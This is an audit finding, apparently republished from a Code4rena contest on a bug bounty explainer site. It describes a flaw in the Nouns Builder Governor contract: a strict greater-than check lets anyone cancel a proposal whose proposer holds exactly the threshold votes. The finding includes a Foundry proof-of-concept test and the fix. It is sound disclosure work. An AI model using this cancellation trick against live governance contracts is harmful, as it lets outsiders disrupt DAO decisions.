A proposal can be cancelled by anyone if the proposal has exactly proposalThreshold votes
A proposal can be cancelled by anyone if the proposer's voting weight is exactly equal to the proposal threshold, because the cancellation check uses a strict greater-than comparison. An attacker could cancel any such proposal, disrupting governance.
Submitted by davidbrai, also found by cccz, Ch_301, Chom, datapunk, elad, GimelSec, pauliax, PwnPatrol, and rbserver
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L128 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L363
If the proposer of a proposal has votes in the same amount as the proposalThreshold, they can create a proposal. But in this case, anyone can also cancel this proposal.
When creating a proposal the requirement is “Ensure the caller’s voting weight is greater than or equal to the threshold”.
When cancelling a proposal the check is:
if getVotes(proposal.proposer, block.timestamp - 1) > proposal.proposalThreshold then it the cancelling is not allowed. In effect, if the number of votes is lower than or equal to the proposalThreshold it can be cancelled.
In the extreme case where all the DAO members have no more than the proposalThreshold amount of votes, every proposal can be cancelled.
Proof of Concept
The forge test below demonstrates the issue:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import "forge-std/console.sol";
import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { IManager } from "../../src/manager/IManager.sol";
import { IGovernor } from "../../src/governance/governor/IGovernor.sol";
import { GovernorTypesV1 } from "../../src/governance/governor/types/GovernorTypesV1.sol";
contract GovCancelWrongCheckTest is NounsBuilderTest, GovernorTypesV1 {
uint256 internal constant AGAINST = 0;
uint256 internal constant FOR = 1;
uint256 internal constant ABSTAIN = 2;
uint256 proposalThresholdBps = 100;
address internal voter1 = address(0x1234);
address internal randomUser = address(0x8888);
function setUp() public virtual override {
super.setUp();
deployMock();
}
function testCanCancelProposalIfExactThreshold() public {
// mint a few tokens
for (uint256 i; i < 85; i++) {
vm.prank(address(auction));
token.mint();
}
assertEq(token.totalSupply(), 100);
// transfer one token to voter1
vm.prank(address(auction));
token.transferFrom(address(auction), voter1, 5);
assertEq(token.balanceOf(voter1), 1);
// make sure voter has enough votes
assertEq(governor.proposalThreshold(), 1);
assertEq(token.getVotes(voter1), 1);
vm.warp(block.timestamp + 1);
// propose
(address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal();
vm.prank(voter1);
bytes32 proposalId = governor.propose(targets, values, calldatas, "test");
// Proposal created successfully
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Pending));
// Cancel proposal
vm.prank(randomUser);
governor.cancel(proposalId);
assertEq(uint256(governor.state(proposalId)), uint256(ProposalState.Canceled));
}
function setMockGovParams() internal virtual override {
setGovParams(2 days, 1 seconds, 1 weeks, proposalThresholdBps, 1000);
}
function mockProposal()
internal
view
returns (
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas
)
{
targets = new address[](1);
values = new uint256[](1);
calldatas = new bytes[](1);
targets[0] = address(auction);
calldatas[0] = abi.encodeWithSignature("pause()");
}
}
Recommended Mitigation Steps
Change the check in cancel to match the requirement in propose;
change line 363 in Governor.sol to:
if (msg.sender != proposal.proposer && getVotes(proposal.proposer, block.timestamp - 1) >= proposal.proposalThreshold)
Alex the Entreprenerd (judge) decreased severity to Medium and commented:
Because we know that a cancelled proposal cannot be repeated, and because the protocol is aiming at auctioning out NFTs that are unitary, rare, “small print” if you will, then 1 vote may be considered more heavily than in other situations. (e.g. 1 second is still just 1 second, but 1 token here could be 10s if not hundreds of thousands of dollars)
Not only that, due to the following check, the proposer must maintain the current balance above the threshold (instead of it being the balance at time of proposal).
For those reasons, I think this is a medium severity finding.
kulkarohan (Nouns Builder) confirmed, but disagreed with severity
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The cancellation check uses a strict greater-than comparison instead of greater-than-or-equal, so proposals with exactly the threshold votes are considered cancellable.
Impact
Any proposal whose proposer has exactly the threshold votes can be cancelled by anyone, potentially disrupting governance, especially if all members have no more than the threshold.
What the attacker needed
Proposer has exactly threshold votes; attacker can call cancel
The fix
Change the cancellation check to use greater-than-or-equal, matching the proposal creation requirement.
How it was found
- Set the proposal threshold to 1 vote.
- Give a voter exactly 1 vote.
- Have the voter create a proposal.
- Have a random user call cancel on that proposal.
- Observe the proposal state becomes Canceled.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a DAO, a proposal is a suggestion for a change. To create a proposal, you need a minimum number of votes, called the proposal threshold. The bug is that if you have exactly that minimum, anyone else can cancel your proposal because the code checks if your votes are strictly greater than the threshold, not greater than or equal to it.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.